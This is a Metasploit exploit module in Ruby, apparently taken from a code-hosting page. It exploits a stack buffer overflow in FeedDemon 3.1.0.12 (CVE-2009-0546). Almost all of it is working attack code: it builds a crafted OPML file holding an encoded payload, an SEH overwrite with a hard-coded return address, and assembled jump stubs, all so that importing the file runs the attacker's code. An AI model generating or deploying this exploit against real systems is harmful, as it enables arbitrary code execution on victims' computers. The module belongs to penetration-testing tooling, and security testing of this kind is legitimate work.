136 lines
4.0 KiB
Ruby
136 lines
4.0 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'FeedDemon Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in FeedDemon v3.1.0.12. When the application
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is used to import a specially crafted opml file, a buffer overflow occurs allowing
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arbitrary code execution.
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All versions are suspected to be vulnerable. This vulnerability was originally reported
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against version 2.7 in February of 2009.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'fl0 fl0w', # Original Exploit
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'dookie', # MSF Module
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'jduck' # SEH + AlphanumMixed fixes
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],
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'References' =>
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[
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[ 'CVE', '2009-0546' ],
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[ 'OSVDB', '51753' ],
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[ 'BID', '33630' ],
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[ 'EDB', '7995' ],
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[ 'EDB', '8010' ],
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[ 'EDB', '11379' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'true',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x0a\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xff",
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'DisableNops' => true,
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# We are not strictly limited to alphanumeric. However, currently
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# no encoder can handle our bad character set.
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'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
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'EncoderOptions' =>
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{
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'BufferRegister' => 'ECX',
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},
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Tested OK on XPSP3 - jduck
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[ 'Windows Universal',
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{
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'Ret' => 0x00501655 # p/p/r in FeedDemon.exe v3.1.0.12
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Feb 09 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.opml']),
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], self.class)
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end
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def exploit
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head_opml = '<opml version="1.1">'
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head_opml << '<body>'
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head_opml << '<outline text="'
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header = "\xff\xfe" # Unicode BOM
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header << Rex::Text.to_unicode(head_opml)
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foot_opml = '">'
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foot_opml << '<outline text="BKIS" title="SVRT" type="rss" xmlUrl="http://milw0rm.com/rss.php"/>'
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foot_opml << '</outline>'
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foot_opml << '</body>'
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foot_opml << '</opml>'
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footer = Rex::Text.to_unicode(foot_opml)
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# Set ECX to point to the alphamixed encoded buffer (IIIII...)
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# We use, while avoiding bad chars, an offset from SEH ptr stored on the stack at esp+8
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off = 0x1ff2
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set_ecx_asm = %Q|
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mov ecx, [esp+8]
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sub ecx, #{0x01010101 + off}
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add ecx, 0x01010101
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set_ecx = Metasm::Shellcode.assemble(Metasm::Ia32.new, set_ecx_asm).encode_string
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# Jump back to the payload, after p/p/r jumps to us.
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# NOTE: Putting the jmp_back after the SEH handler seems to avoid problems with badchars..
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# 8 for SEH.Next+SEH.Func, 5 for the jmp_back itself
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distance = 0x1ffd + 8 + 5
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jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
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# SEH
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seh_frame = generate_seh_record(target.ret)
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# Assemble everything together
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sploit = ''
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sploit << set_ecx
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sploit << payload.encoded
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sploit << rand_text_alphanumeric(8194 - sploit.length)
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sploit << seh_frame
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sploit << jmp_back
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sploit << rand_text_alphanumeric(8318 - sploit.length)
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# Ensure access violation reading from smashed pointer
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num = rand_text(4).unpack('V')[0]
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sploit << [num | 0x80000000].pack('V')
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evil = header + sploit + footer
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(evil)
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end
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end
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